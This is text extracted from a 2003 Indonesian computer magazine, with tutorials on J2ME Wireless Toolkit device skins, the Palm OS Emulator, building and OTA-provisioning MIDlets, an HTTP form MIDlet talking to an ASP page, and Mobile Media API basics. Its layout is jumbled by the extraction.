Mengenal Java 2 Micro Edition Wireless Toolkit, device-device yang terdapat pada J2ME Wireless Toolkit dapat dikatakan hanya berupa skin (kulit). Pada artikel kali ini, kita akan mencoba memasang device Sony Ericsson P800 pada J2ME Wireless Toolkit. Sekalipun Sony Ericsson sudah mengeluarkan J2ME SDK, tetapi aplikasi tersebut dibuat berdasarkan J2ME Wireless Toolkit versi 1.0.4, yang disini terdapat dua (2) buah device tambahan dari Sony Ericsson, yaitu: SonyEricsson_P800 dan SonyEricsson_T610. Device Sony Ericsson P800 untuk J2ME Wireless Toolkit dapat di-download di: http://www.ericsson.com/mobilityworld/developerszonedown/ downloads/tools/java/SonyEricsson_wtk_device_P800.html (tentunya, setelah Anda login terlebih dahulu). Pemasangannya cukup mudah. Secara garis-besar, device-device yang ada tersimpan di folder C:\WTK104\wtklib\devices (Gambar 1). Buka file SonyEricsson_wtk_device_P800.zip (hasil download) dengan WinZip dan select (pilih) file-file seperti yang
1
2
4
3
10
NeoTek Agu/Sep 2003
ditampilkan pada Gambar 2. Click button Extract dan isi input Extract to: dengan C:\WTK104\wtklib\devices (Gambar 3). Kini Anda dapat memilih device SonyEricsson_P800 pada menu Default Device Selection (Gambar 4). Pada Gambar 5 terloihat tampilan device SonyEricsson_P800 saat menjalankan proyek demos. Sebenarnya, kita dapat membuat sendiri device untuk dipasang pada J2ME Wireless Toolkit. Untuk lebih jelasnya, Anda bisa membaca Basic Customization Guide. Untuk mendapatkannya, pilih menu Documentation (dari menu Start > Programs > J2ME Wireless Toolkit 1.0.4_01), lalu klik link yang berhubungan dengan Basic Customization Guide (Gambar 6).
Penutup Penulis berharap, tulisan singkat ini dapat menambah wawasan Anda untuk memahami tentang device-device yang terdapat pada J2ME Wireless Toolkit. Selamat mencoba.
6
5
NeoStart
WI RE LESS DEVIC E PALM OS E M U LATOR & PALM OS SIMULATOR Virtual device Palm OS dapat diperoleh dengan langsung menginstal Palm OS Simulator untuk jenis hardware tertentu (sudah beserta ROM image hardware) atau Palm OS Emulator yang belum memiliki ROM Image.
OS SIMUlator sangat mudah dan langsung akan diperoleh virtual device yang diinginkan, maka tidak demikian dengan Palm OS Emulator. Tidak adanya ROM Image dapat dibandingkan seperti komputer tanpa sistem operasi. Setelah instalasi Palm OS Emulator, anda harus men-download ROM Image device yang diinginkan dari situs-situs web untuk developer ataupun men-download-nya dari Palm OS sungguhan milik anda sendiri Pada contoh ini digambarkan cara mendownload ROM Image dari Palm IIIe milik redaksi NeoTek. ROM Image ini disertakan dalam CD NeoTek dan anda tinggal memakainya.
A
PABILA MENGINSTAL PALM
Instalasi virtual device Palm OS
1
4
MENJALANKAN EMULATOR Instal Palm OS Emulator dari file emulator-win.zip yang tersedia pada CD NeoTek bulan ini. Begitu dijalankan akan tampil jendela dialog dengan opsi-opsi New, Open, Download, dan Exit. Karena belum mempunyai ROM Image apapun, klik Download untuk men-download-nya dari hardware sungguhan.
PROSES ROM TRANSFER Pada Palm IIIe tap aplikasi ROM Transfer dan pilih transfer speed yang sama seperti yang dipilih pada PC lalu tap Begin Transfer yang akan mengubah posisi Idle ke Waiting. Inaktifkan Hotsync pada PC dan klik tombol Begin pada jendela dialog ROM Transfer di PC anda, maka proses transfer akan berlangsung.
2
TRANSFER ROM MENU
5
SAVE ROM IMAGE
Akan tampil jendela Transfer ROM yang berisi keterangan cara mentransfer ROM Image dari hardware. Ikuti langkah-langkahnya. Dikatakan bahwa pada direktori tempat terinstalnya Palm OS Emulator telah tersedia file ROM Transfer.prc yaitu suatu aplikasi yang harus diinstal pada Palm device anda.
Begitu proses transfer selesai anda diminta untuk men-save ROM Image dari Palm device ke PC anda. Di sini dalam direktori C:\POSE35 dengan nama PalmIIIe.rom dan segera jendela dialog Palm OS Emulator akan tampil lagi. Kali ini kita pilih tombol New. Jendela New Session akan tampil.
3
SINCHRONIZE PALM DEVICE
6
VIRTUAL DEVICE
Hubungkan Palm device anda (di sini Palm IIIe) ke PC lewat craddle yang tersedia dan tekan tombol Synchronize (atau tap icon Synchronize) untuk melakukan sinkronisasi antara Palm IIIe dengan PC anda. Selama proses ini aplikasi ROM Transfer.prc akan terpasang pada Palm device anda.
Pada New Session klik tombol ROM file dan pilih Other... dan browse ke direktori tempat tersimpannya PalmIIIe.rom dan pilih ROM Image file ini. Selanjutnya sesuaikan nama Device (Palm IIIe) dan skin default serta tetapkan RAM yang dinginkan. Maka Palm IIIe anda akan tampil di layar PC dan berfungsi penuh.
Agu/Sep 2003 NeoTek
11
NeoStart
WI RE LESS JAVA DEVIC E NOKIA SE RI 40 J2ME WIRELESS TOOLKIT Nokia Seri 60 dapat diperoleh sebagai suatu virtual device pada J2ME Wireless Toolkit. Dapatkan berbagai device Nokia dengan mendaftar menjadi anggota Forum Nokia. Fitrianto Halim (
[email protected]) membahasnya untuk anda.
ADA ARTIKEL SEBELUMNYA, KITA TELAH
P
belajar memasang device Sony Ericsson P800 pada J2ME Wireless Toolkit yang dapat dikatakan hanya berupa skin (kulit). Kali ini, kita akan mencoba memasang device Nokia Seri 40 pada J2ME Wireless Toolkit secara bertahap. Selain menyertakan emulator, Nokia Series 40 MIDP Concept SDK Beta 0.3 juga menyertakan file binary, dokumentasi serta library. Bagi yang tertarik untuk mempelajari pemrograman J2ME untuk Nokia Seri 40 ini sebaiknya membaca dokumentasi yang disertakankarena ada dua paket (package) yang ditambahkan, yaitu: com.nokia.mid.sound dan com.nokia.mid.ui
Dapatkan virtual device Nokia dengan jalan menjadi anggota Forum Nokia
4
BELUM MENDAPATKAN S/N
10
MENETAPKAN DIREKTORI
12
Karena kita belum mendapatkan serial number, maka isian untuk Forum Nokia Username dan Product Serial Number dikosongkan (langsung klik tombol Next).
Pada bagian Choose an installation directory, klik tombol Browse...
NeoTek Agu/Sep 2003
5
11
PROXY SETTING Pada bagian Proxy settings, Anda dapat memilih setting proxy untuk koneksi internet yang Anda gunakan. Pilihlah No Proxy untuk koneksi internet yang umum digunakan. Koneksi internet diperlukan untuk mendapatkan serial number.
INSTALASI PADA FOLDER Lalu pilih folder C:\WTK104\wtklib\devices. Klik tombol Install untuk memulai instalasi.
6
12
KEANGGOTAAN FORUM NOKIA Jika telah menjadi anggota Forum Nokia, maka Anda dapat mengisi Forum Nokia Username dan Forum Nokia Password, sedangkan jika Anda belum menjadi anggota Forum Nokia dapat mengklik tombol Register untuk mendaftar.
INFORMASI INSTALASI Pada menu Default Device Selection yang terdapat pada J2ME Wireless Toolkit.
NeoStart
1
DOWNLOAD DAN INSTAL
7
S/N DIKIRIM LEWAT EMAIL
13
Download file nS40_jme_concept_sdk_b0_3.zip di http://www.forum.nokia.com/files/ nds_disclaimer/1,6673,2695,00.html. Buka file tersebut (misal dengan WinZIP) dan jalankan file setup.exe.
Jika Anda mengisi Forum Nokia Username dan Forum Nokia Password, maka Anda akan mendapatkan pemberitahuan bahwa serial number dikirim lewat e-mail.
DEFAULT DEVICE Ada beberapa pilihan untuk default device seperti misalnya SonyEricsson_P800 ataupun PalmOS_device. Kita pilih Nokia_Series_40_MIDP_Concept_SDK_Bet a_0_3
2
SISTEM OPERASI
8
DAPATKAN EMAIL S/N
14
DUA MODE NOKIA S40
Diisyaratkan untuk menggunakan Sistem Operasi yang tercantum (Windows XP dengan SP1, Windows 2000 dengan SP2 atau Windows NT 4.0 dengan SP6). Namun, dalam pengujian penulis tidak mendapatkan masalah ketika dicoba pada Windows 98.
Cek e-mail Anda, apakah Anda telah mendapatkan e-mail dengan subject: Serial number for Nokia Series 40 MIDP Concept SDK Beta 0.3 installation.
Pada Nokia Series 40 MIDP Concept device ini terdapat dua modus (mode) yang dapat kita pilih pada emulator, yaitu Normal (default) dan Full Keyboard
3
LICENSE AGREEMENT
9
ISIKAN USERNAME/PASSWORD
15
Pada bagian End-user software agreement, pilihlah I accept the terms of the Lisence Agreement.
Kini, Anda dapat mengisi Forum Nokia Username dan Product Serial Number.
DOKUMENTASI File dokumentasi C:\WTK104\wtklib\Devices\Nokia_Se ries_40_MIDP_Concept_SDK_Beta_0 _3\docs\index.html perlu dipelajari bila berminat mempelajari pemrograman pada J2ME sebab ada dua paket tambahan: com.nokia.mid.sound dan com.nokia.mid.ui
Agu/Sep 2003 NeoTek
13
NeoStart
WI RE LESS JAVA APLI KASI M I DP PADA J2ME WIRELESS TOOLKIT Sebagai pengantar pemrograman wireless Java dengan J2MDE Wireless Toolkit, Fitrianto Halim (
[email protected]) membahas langkah-langkah membuat MIDlet sederhana yaitu membuat source code (.java), compile menjadi .class, dan dilewatkan pada preverifier.
ETELAH KITA MENCOBA PROYEK-PROYEK
S
yang ada pada J2ME Wireless Toolkit, kini kita akan mencoba membuat aplikasi MIDP sederhana pada J2ME Wireless Toolkit. Ada beberapa tahapan yang harus dilalui untuk membuat sebuah aplikasi MIDP (MIDlet). Tahapan-tahapan tersebut dapat dilihat pada sebagai berikut (Gambar 1) • membuat file .java yang tentunya merupakan source-code dari aplikasi itu sendiri • meng-compile file .java tersebut sehingga dihasilkan file .class • file .class tersebut kemudian dilewatkan ke Preverifier untuk mengatur susunan bytecode dari file .class dengan maksud mempermudah saat dilakukan verifikasi pada CLDC virtual machine
Aplikasi MIDP pertama anda menggunakan J2ME Wireless Toolkit
1
MENJALANKAN KTOOLBAR Dari Start > Programs > J2ME Wireless Toolkit 1.0.4 jalankan KToolbar lalu klik tombol New Project ...
2
NEW PROJECT
3
Setelah itu, kita harus mengisi Project Name dan MIDlet Class Name, yang disini keduanya kita isikan dengan MyFirst (hanya contoh) lalu klik tombol Create Project
FOLDER YANG TERBENTUK Pada saat itu, akan terbentuk folder MyFirst (ada di direktori C:\WTK104\apps) yang memiliki empat (4) buah subfolder, yaitu: bin, lib, res, dan src. Sub-folder bin berguna untuk menyimpan file manifest, file JAD dan file JAR (hasil pemaketan).
import javax.microedition.midlet.*; import javax.microedition.lcdui.*; public class MyFirst extends MIDlet{ private Display display; private Form props; public MyFirst(){ display=Display.getDisplay(this); } public void startApp(){ props=new Form("Aplikasi Pertama"); props.append("Selamat...\n"); props.append("Anda telah berhasil membuat \"Aplikasi Pertama\"\n"); display.setCurrent(props); }
7
SAVE PROJECT SETTINGS Setting-setting tersebut (atau disebut juga dengan atribut MIDlet) akan disimpan pada file manifest dan file JAD. Perubahan-perubahan yang terjadi akan ditampilkan pada console dari KToolbar. Kini kita menginjak ke bagian pemrograman.
14
NeoTek Agu/Sep 2003
8
INSTALASI PADA FOLDER Pada subfolder src buat MyFirst.java menggunakan text editor (misal Notepad) dengan isi tampak pada Boks 1. Secara garis-besar, aplikasi MIDP (MIDlet) agak mirip dengan Java applet, yaitu terdiri dari tiga (3) buah state, yaitu: Active, Paused, dan Destroyed (Gambar 3).
public void pauseApp(){ display.setCurrent(null); props=null; } public void destroyApp(boolean unconditional){} }
Boks 1
NeoStart pada khususnya, penulis sarankan untuk berkunjung ke situs Java dari Sun Microsystems; disana banyak artikel-artikel menarik. Selamat mencoba...
Gambar 2
Gambar 1
4
Subfolder lib berguna untuk menyimpan library yang akan dipergunakan, biasanya berformat JAR atau ZIP. Subfolder res berguna untuk menyimpan resource file, seperti icon. Sub-folder src berguna untuk menyimpan sourcecode dari file .java. Selanjutnya, kita dihadapkan dengan setting untuk proyek MyFirst
9
MENJALANKAN MIDLET Untuk menjalankannya, Anda tinggal mengklik tombol Run yang sebelum dijalankan akan melakukan proses compile dan preverify terlebih dahulu (bisa dilihat dari keberadaan sub-folder baru, yaitu: classes, tmpclasses, dan tmplib).
Setelah aplikasi tersebut dapat diemulasikan pada device yang berbeda, maka tahapan selanjutnya adalah melakukan pemaketan (lihat Gambar 2). Untuk lebih jelasnya, kita akan membuat sebuah aplikasi sederhana yang langkah-langkahnya dibahas pada langkah-langkah di bawah. Bagi yang tertarik dengan aplikasi berbasis Java pada umumnya dan MIDP
5
10
MENGEDIT VALUE DARI KEY Jika tidak ada perubahan, Anda bisa meng-klik tombol OK. Di sini, kita melakukan perubahan untuk MIDlet-Name dan MIDlet-Vendor, yang untuk mengeditnya cukup mudah yaitu dengan mengklik kolom sebelah kanan.
MEMBENTUK PACKAGE Sedangkan untuk membuat paket caranya cukup mudah, yaitu pilih menu Project > Package > Create Package. Maka akan dihasilkan file MyFirst.jar, serta dilakukan perubahan (terutama untuk atribut MIDlet-Jar-Size) pada file MyFirst.jad.
Gambar 3
6
11
MENGEDIT MIDLET Pada tab MIDlets, kita juga akan melakukan editing. Tidak seperti sebelumnya, disini kita harus mengklik tombol Edit. Perubahan yang kita lakukan adalah menghilangkan icon.
Untuk mengetahui perubahan atribut MIDlet-Jar-Size, sebaiknya buka kembali proyek MyFirst, kemudian klik tombol Settings.... Hal ini disebabkan jika hanya mengklik tombol Settings..., perubahan tersebut masih belum tampak (nilainya masih sama dengan yang lama).
Agu/Sep 2003 NeoTek
15
NeoStart
WI RE LESS JAVA
S
M E N E M PATKAN M I DLET PADA WEB SERVER Instalasi MIDlet pada ponsel memang dapat menggunakan koneksi ke PC seperti kabel serial, inframerah, ataupun Bluetooth, namun untuk keperluan komersial paling baik dengan cara Over the Air (OTA) Provisioning.
ETELAH KITA BELAJAR MEMBUAT APLIKASI
MIDP (MIDlet), kita akan belajar menempatkan MIDlet pada web server agar bisa di-install pada ponsel Java-enabled. Ada macam-macam cara untuk meng-install MIDlet pada ponsel. Misalkan dengan memanfaatkan connectivity software; koneksi antara PC dengan ponsel dapat menggunakan kabel serial, infra red, atau Bluetooth. Tapi cara tersebut lebih cocok untuk pengujian dan pengembangan MIDlet atau dengan kata lain kurang cocok jika kita ingin mengkomersialkan MIDlet yang kita buat, disamping itu ada sejumlah ponsel Java-enabled yang tidak memiliki kemampuan koneksi ke PC.
Menempatkan MIDlet pada web server untuk OTA provisioning ntuk memecahkan permasalahan adanya sejumlah ponsel Java-enabled yang tidak memiliki kemampuan koneksi ke PC, dapat dipergunakan Over-the-Air (OTA) provisioning. Cara kerja dari OTA provisioning adalah sebagai berikut: • Pertama-tama ponsel mengirim request untuk sebuah file JAD (Java Application Description) • Request ini dikirim ke web server melalui WAP gateway • Web server mengirim isi file JAD ke ponsel • Ponsel kemudian menerima isi file JAR (Java Archive) yang didefinisikan oleh file JAD dari web server • Java Application Manager (JAM) dari ponsel kemudian meng-install MIDlet • Setelah instalasi, ponsel mungkin mengirim sebuah opsi installation notification ke server Untuk lebih jelasnya, Anda bisa melihat Gambar 1. Karena berkaitan dengan web server, maka kita harus mensetting web server terlebih dahulu. Seperti yang telah dijelaskan sebelumnya, ada dua buah file yang memegang peranan, yaitu file JAD (Java Application Description) dan file JAR (Java Archive). Oleh karena itu, kita harus menambahkan MIME (Multi-purpose Internet Mail Extensions) pada web server agar kedua file tersebut dapat diterima dengan baik. Berikut ini adalah MIME untuk kedua jenis file tersebut: • .jad text/vnd.sun.j2me.app-descriptor • .jar application/java-archive Selanjutnya, kita dapat membuat sebuah WML page untuk mempermudah mengakses file JAD. Contohnya adalah sebagai berikut:
U
<wml>
MyMidlet
Ketika pemakai memilih file JAD saat browsing, browser mendownload file JAD yang kemudian diproses oleh Java Application Manager (JAM). JAM menggunakan atribut-atribut yang ada pada file JAD untuk mencek apakah terminal dapat menjalankan aplikasi tersebut. Jika aplikasi dapat di-download, JAM menggunakan URL yang ter16
NeoTek Agu/Sep 2003
dapat pada file JAD untuk menemukan lokasi serta men-download file JAR dari web server. Pada file JAD, atribut yang berisi URL adalah "MIDlet-Jar-URL" dimana contohnya adalah sebagai berikut: MIDlet-Jar-URL: http://domain/directory/Example.jar
Setelah pemakai memberikan ijin untuk instalasi, JAM mulai meng-install MIDlet ke terminal. Pada bagian ini, mungkin JAM mengirim notification ke server yang berisi pemberitahuan apakah instalasi berhasil atau gagal. Notification tersebut dapat dipergunakan untuk billing (tentunya jika MIDlet tersebut komersial) atau untuk keperluan lainnya. Atribut untuk notification adalah sebagai berikut: nama-atribut: URL dari server yang menerima notification
Contoh: MIDlet-Install-Notify: http://www.mycompany.com/
Pada sejumlah ponsel Nokia, JAM dapat meng-install sebuah game MIDlet ke folder Games disamping ke folder standard (Application). Hal ini dimungkinkan jika pada file JAD ditambahkan atribut berikut: Nokia-MIDlet-Category: Game
Referensi Disarikan dari: Settings for OTA Download of MIDlets v1.0 http://www.forum.nokia.com/ndsCookieBuilder?fileParamID=2460 Gambar 1
NeoStart
WI RE LESS JAVA M I DLET G RATIS DI SITUS MIDLET.ORG Contoh penempatan MIDlet pada web server untuk dapat diinstall ke ponsel melalui OTA dapat dilihat pada situs http://midlet.org/index2.jsp yang menyajikan berbagai MIDlet gratis yang dimuat juga pada CD NeoTek bulan ini.
S
ETELAH KITA BELAJAR MEMBUAT APLIKASI
MIDP (MIDlet), bagaimana kalau sekarang kita mencoba MIDlet hasil karya orang lain? Situs midlet.org dapat dijadikan acuan yang bagus untuk melihat MIDlet hasil karya orang lain. Cara paling mudah meng-install aplikasiaplikasi MIDP ini adalah dengan cara OTA (Over The Air) Provisioning. Namun dapat juga dengan cara men-download-nya dulu ke PC dan baru diinstalasi menggunakan koneksi ke PC (atau menggunakan yang ada di CD NeoTek). Untuk itu file JAD (informasi mengenai aplikasi) perlu diedit MIDlet-Jar-Url-nya dan ditempatkan dalam direktori yang sama dengan file JAR (aplikasinya).
Memanfaatkan berbagai MIDlet gratis yang tersedia di Internet
3
1
4
KATEGORI MIDLET GRATIS MIDlet dalam situs midlet.org dibagi kedalam lima kategori, yaitu: • Games • Graphics • Internet • Utilities • Developer Untuk mengetahui cara menginstall ke ponsel Java-enabled, klik link User Guide. Secara garisbesar, cara instal ke ponsel Javaenabled dibagi dalam dua bagian:
FILE JAD SUATU MIDLET MIDP Street Fighter memiliki file JAD sebagai berikut: MIDlet-1: StreetFighther, , msf MIDlet-Jar-Size: 34843 MIDlet-Jar-URL: http://midlet.org/repository/jshape/street fighter/msf.jar?md=14 MIDlet-Name: msf MIDlet-Vendor: JShape Software MIDlet-Version: 1.0
2
DUA CARA INSTALASI
•
•
5
Download langsung ke device (OTA provisioning), untuk ponsel yang compatible dengan Nokia 3410/6310i, Siemens SL45i/ SL42i atau Motorola A008/6288. Download ke PC dan kemudian ditransfer ke device via kabel serial atau infra-red.
EDIT FILE JAD Kita edit atribut MIDlet-Jar-URL menjadi: MIDlet-Jar-URL: msf.jar (WordPad untuk meng-edit-nya) Yang perlu diperhatikan adalah dengan perubahan ini, file JAD dan file JAR harus diletakkan pada folder yang sama.
SINCHRONIZE PALM DEVICE Perhatikan, untuk ponsel Nokia 3410/6310i dan Siemens SL45i/ SL42i melalui WAP server dengan URL: http://midlet.org/wap/, sedangkan untuk ponsel Motorola A008/ 6288 melalui web server dengan URL: www.midlet.org (bisa pula dengan IP address: 217.206.206.8).
Jika memilih cara kedua (download ke PC dan kemudian ditransfer ke device via kabel serial atau infra-red), maka kita perlu men-download baik file JAR yang berisi aplikasi dan file JAD yang berisi deskripsi. Selanjutnya, gunakan device connectivity software untuk meng-install file-file yang telah di-download ke device menggunakan using kabel serial atau infra-red. Tentunya, file-file hasil download tersebut dapat pula dijalankan menggunakan emulator yang terdapat pada J2ME Wireless Toolkit. Hanya jalan lupa untuk meng-edit file JAD terlebih dahulu, terutama untuk atribut MIDlet-Jar-URL.
6
INSTALL PADA DEVICE Kini kita bisa menggunakan filefile hasil download tersebut, misalkan menggunakan emulator yang terdapat pada J2ME Wireless Toolkit. Sekalipun motto Java adalah: "write once run anywhere", kita tetap harus berhati-hati. Pilih MIDlet yang sesuai dengan device yang akan digunakan (biasanya ditunjukkan dengan gambar device atau dengan membaca deskripsinya).
Agu/Sep 2003 NeoTek
17
NeoStart
WI RE LESS JAVA I NTE RAKSI M I DLET DENGAN WEB SERVER Banyak aplikasi MIDP (MIDlet) yang dapat dicoba pada J2ME Wireless Toolkit. Pada artikel kali ini, penulis akan memberikan contoh bagaimana membuat aplikasi MIDP sederhana yang berinteraksi dengan sebuah web server.
A
DA DUA BAGIAN BERBEDA YANG HARUS
dikerjakan, yaitu membuat content untuk MIDlet pada web server dan membuat aplikasi MIDP. Content untuk MIDlet pada web server dapat dikatakan spesifik, hal ini disebabkan MIDP (dalam hal ini MIDP versi 1.0) belum memiliki HTML parser di dalamnya. Untuk web server, penulis menggunakan Personal Web Server (PWS), karena serverside scripting-nya ASP. Penggunaan ASP mungkin lebih mudah dipahami, terutama untuk menunjukkan bahwa isi form yang di-submit dengan method POST oleh MIDlet telah berjalan baik. Isi server-side scripting-nya sebagai berikut (file myresponse.asp):
Aplikasi MIDP yang berinteraksi dengan web server melalui scripting
1
5
TAMPILAN TESTFORM.HTML Halaman web testform.html yang ditempatkan pada PWS web server dan ditampilkan pada web browser. Anda dapat mengisi field-field yang ada pada form ini dan meng-klik tombol Kirim untuk mengirim hasil input anda pada form ke web server.
2
MYRESPONSE.ASP Informasi yang anda kirim ke web server melalui halaman web testform.html ini akan ditangkap oleh server-side script myresponse.asp dan ditampilkan kembali pada browser.
RUN APPLICATION Jika Anda perhatikan, untuk membuat apilkasi MIDP yang dipergunakan untuk men-submit isi form, Anda harus memahami tentang HTTP terlebih dahulu. Disini ditambahkan header User-Agent dengan nilai Profile/MIDP-1.0 Configuration/CLDC-1.0. Kegunaan dari header User-Agent adalah untuk pemberitahuan kepada web server mengeai jenis browser yang digunakan. Klik tombol Run dan hasilnya bisa dilihat pada gambargambar device SonyEricsson_P800 (tentunya, Anda telah mengaktifkan PWS terlebih dahulu).
18
NeoTek Agu/Sep 2003
3
NEW PROJECT Sekarang kita beralih ke aplikasi MIDP-nya. Jalankan KToolbar dan click button New Project ... untuk membuat proyek baru, lalu isi input-input yang ada: Project Name dengan http MIDlet Class Name dengan HTTPForm
NeoStart <% Response.ContentType="text/plain" Dim sName ,sAddress,sCity ,sCountry,sPhone ,sEMail ,sURL sName = request.form("Name") sAddress = request.form("Address") sCity = request.form("City") sCountry = request.form("Country") sPhone = request.form("Phone") sEMail = request.form("EMail") sURL = request.form("URL") response.write "Request dari Anda:" & vbCrLf response.write "==================" & vbCrLf response.write "Name : " & sName & vbCrLf response.write "Address : " & sAddress & vbCrLf response.write "City : " & sCity & vbCrLf response.write "Country : " & sCountry & vbCrLf response.write "Phone : " & sPhone & vbCrLf response.write "EMail : " & sEMail & vbCrLf response.write "URL : " & sURL & vbCrLf myresponse.asp %>
Untuk mengujinya, kita dapat membuat sebuah form sederhana, misalkan sebagai berikut (file testform.html)
testform.html
// HTTPForm.java // by: Fitrianto Halim
import java.io.*; import javax.microedition.io.*; import javax.microedition.lcdui.*; import javax.microedition.midlet.*; public class HTTPForm extends MIDlet implements CommandListener { Display display; static final Command BACK_CMD = new Command("Back" , Command.BACK , 1); static final Command RESET_CMD = new Command("Reset" , Command.SCREEN, 2); static final Command SUBMIT_CMD = new Command("Submit", Command.SCREEN, 1); private boolean initialized; private byte nScreen; private Form myForm , myResult; private StringItem sResult ; private String url = "http://localhost/myresponse.asp"; private TextField fName , fAddress, fCity , fCountry, fPhone , fEMail , fURL ;
4
SETTING PROJECT ‘HTTP’ Untuk tab Required edit key berikut: MIDlet-Name dengan Aplikasi HTTP MIDlet-Vendor dengan Majalah NeoTek Untuk tab MIDlets hilangkan pemberian nama file untuk icon. Pada sub-folder src buatlah file HTTPForm.java seperti pada Boks 1.
fCountry.setString(""); fPhone.setString(""); fEMail.setString(""); fURL.setString(""); } } else if(obj == myResult) { if(c == BACK_CMD) { nScreen = 1; display.setCurrent(myForm); } } } } void submitForm() throws IOException { HttpConnection c = null; InputStream is = null; OutputStream os = null; StringBuffer b = new StringBuffer(); try { c = (HttpConnection)Connector.open(url); c.setRequestMethod(HttpConnection.POST); c.setRequestProperty("User-Agent" , "Profile/MIDP-1.0 Configuration/CLDC-1.0"); c.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); os = c.openOutputStream(); String str = "Name=" +URLEncode(fName.getString()) + "&Address="+URLEncode(fAddress.getString())+ "&City=" +URLEncode(fCity.getString()) + "&Country="+URLEncode(fCountry.getString())+ "&Phone=" +URLEncode(fPhone.getString()) + "&EMail=" +URLEncode(fEMail.getString()) + "&URL=" +URLEncode(fURL.getString()); os.write(str.getBytes()); os.flush(); is = c.openDataInputStream(); int ch; while((ch = is.read()) != -1) b.append((char) ch); sResult.setText(b.toString()); } finally { if(is!= null) is.close(); if(os != null) os.close(); if(c != null) c.close(); } nScreen = 2; display.setCurrent(myResult); } public static String URLEncode(String str) { char c; int i, v, slen; slen = str.length(); StringBuffer sbuf = new StringBuffer(); for(i = 0; i < slen; i++) { c = str.charAt(i); if(c >= 'a' && c <= 'z' || c >= 'A' && c <= 'Z' || c >= '0' && c <= '9') { sbuf.append(c); } else { v = c & 0xff; sbuf.append('%'); sbuf.append(NUMS[(v & 0xf0) >> 4]); sbuf.append(NUMS[(v & 0x0f) >> 0]); } } return sbuf.toString(); }
public HTTPForm() { initialized = false; nScreen = 1; } public void startApp() { if(display == null) display = Display.getDisplay(this); if(!initialized) { fName = new TextField("Name" , "", 30, TextField.ANY); fAddress = new TextField("Address", "", 30, TextField.ANY); fCity = new TextField("City" , "", 30, TextField.ANY); fCountry = new TextField("Country", "", 30, TextField.ANY); fPhone = new TextField("Phone" , "", 15, TextField.PHONENUMBER); fEMail = new TextField("E-Mail" , "", 30, TextField.EMAILADDR); fURL = new TextField("URL" , "", 30, TextField.URL); sResult = new StringItem(null, ""); myForm = new Form("Form"); myForm.append(fName); myForm.append(fAddress); myForm.append(fCity); myForm.append(fCountry); myForm.append(fPhone); myForm.append(fEMail); myForm.append(fURL); myForm.addCommand(RESET_CMD); myForm.addCommand(SUBMIT_CMD); myForm.setCommandListener(this); display.setCurrent(myForm); myResult = new Form("HTTP Response"); myResult.append(sResult); myResult.addCommand(BACK_CMD); myResult.setCommandListener(this); initialized = true; } else display.setCurrent(nScreen == 2 ? myResult : myForm); } public void destroyApp(boolean unconditional) {} public void pauseApp() {}
Karena J2ME Wireless Toolkit hanya merupakan emulator, dalam dunia nyata tentunya kemampuan interaksi antara MIDlet dengan web server tergantung pada kemampuan device dan kemampuan jaringan dari operator GSM yang ada. Diharapkan tulisan ini dapat memberi inspirasi tentang interaksi MIDlet dengan web server. Banyak aplikasi yang bisa diterapkan dengannya, misalkan untuk pengendalian jarak-jauh.
public void commandAction(Command c, Displayable s) { if(s instanceof Form) { Form obj = (Form) s; if(obj == myForm) { if(c == SUBMIT_CMD) try { submitForm(); } catch(IOException e) { // Belum diimplementasikan... } else if(c == RESET_CMD) { fName.setString(""); fAddress.setString(""); fCity.setString("");
Boks 1.
private static final char NUMS[] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F' }; }
Agu/Sep 2003 NeoTek
19
NeoStart
WI RE LESS JAVA
D
P E N GANTAR M O B I LE M E D IA AP I Nokia Series 60 mulai mendukung Mobile Media API sejak diluncurkannya Nokia 3650. Dengan mobile phone kini selain MMS, kita dapat pula memainkan audio maupun video dari player yang diciptakannya.
ULU MOBILE PHONE DIKENAL DENGAN
nama telepon selular (disingkat ponsel) dan hanya dipergunakan sebagai sarana komunikasi yang bersifat mobile (bergerak). Namun seiring dengan perkembangan teknologi, kini kita dapat mendengarkan musik atau menonton film mempergunakan ponsel. Pada artikel ini, kita akan berkenalan dengan Mobile Media Application Programming Interface (disingkat MMAPI) dan kemudian dilanjutkan dengan pembahasan tentang pemrograman MMAPI ini di artikel selanjutnya.
Mengenal MMAPI yang mulai disediakan pada Nokia 3650 ika Anda telah membaca artikel Wireless Java: JavaEnabled Phone, diketahui bahwa ponsel Nokia 3650 telah menyertakan MMAPI di samping API lainnya untuk pengembangan aplikasi berbasis MIDP. Arsitektur dari MMAPI bisa dilihat pada Gambar 1. Manager adalah sebuah class yang berisi method static, sehingga aplikasi tidak dapat menciptakan instance darinya. Manager menyediakan method static untuk menciptakan player, serta dukungan terhadap protokol dan tipe content. Manager juga menyediakan method playTone untuk memainkan suatu nada (tone). Mehod createPlayer dari Manager menciptakan sebuah player yang diasosiasikan dengan DataSource sebagai pemasok data. DataSource ini dapat dibangun dari InputStream atau dari URL. MMAPI dari Nokia mendukung URL berikut: • http://something.com/somefile.wav • capture://video (menampilkan video dari built-in camera) Manager menciptakan player dengan mencek terlebih dulu tipe content dari DataSource (misalkan dari header ContentType). Jika tidak dapat menentukan atau tidak mendukung tipe content tersebut, maka akan dilempar ke MediaException. Adapun tipe content yang di-support oleh MMAPI yang terdapat pada ponsel Nokia 3650 adalah sebagai berikut:
J
Series
Catatan
audio/x-wav
8 kHz hingga 48 kHz mono atau stereo PCM (8- atau 16-bit), ADPCM, ALAW, atau ULAW
audio/amr audio/midi audio/sp-midi audio/x-nokia-rng video/3gpp
24 instrument 24 instrument dengan prioritas tertinggi Nokia ringing tone Format 3GPP untuk video dan audio yang diasosiasikan (lihat standar 3GPP 26.234) video/vnd.nokia.interleaved-multimedia Format video NIM dari Nokia
Player yang dibuat oleh Manager.createPlayer(Manager.TONE_DEVICE_LOCATOR) menghasilkan audio/x-tone-seq sebagai tipe content-nya. Setelah player dibuat, maka kita dapat mengatur beberapa jenis Control, seperti: • VolumeControl, untuk mengatur volume audio dari player • StopTimeControl, untuk menghentikan player setelah memutar media sesuai dengan waktu yang diberikan • VideoControl, untuk mengatur bagaimana tampilan image dari video player 20
NeoTek Agu/Sep 2003
Gambar 1
Adapun kontrol yang tersedia untuk tiap tipe content adalah sebagai berikut: Series
Catatan
audio/x-wav audio/amr audio/midi audio/sp-midi audio/x-nokia-rng audio/x-tone-seq
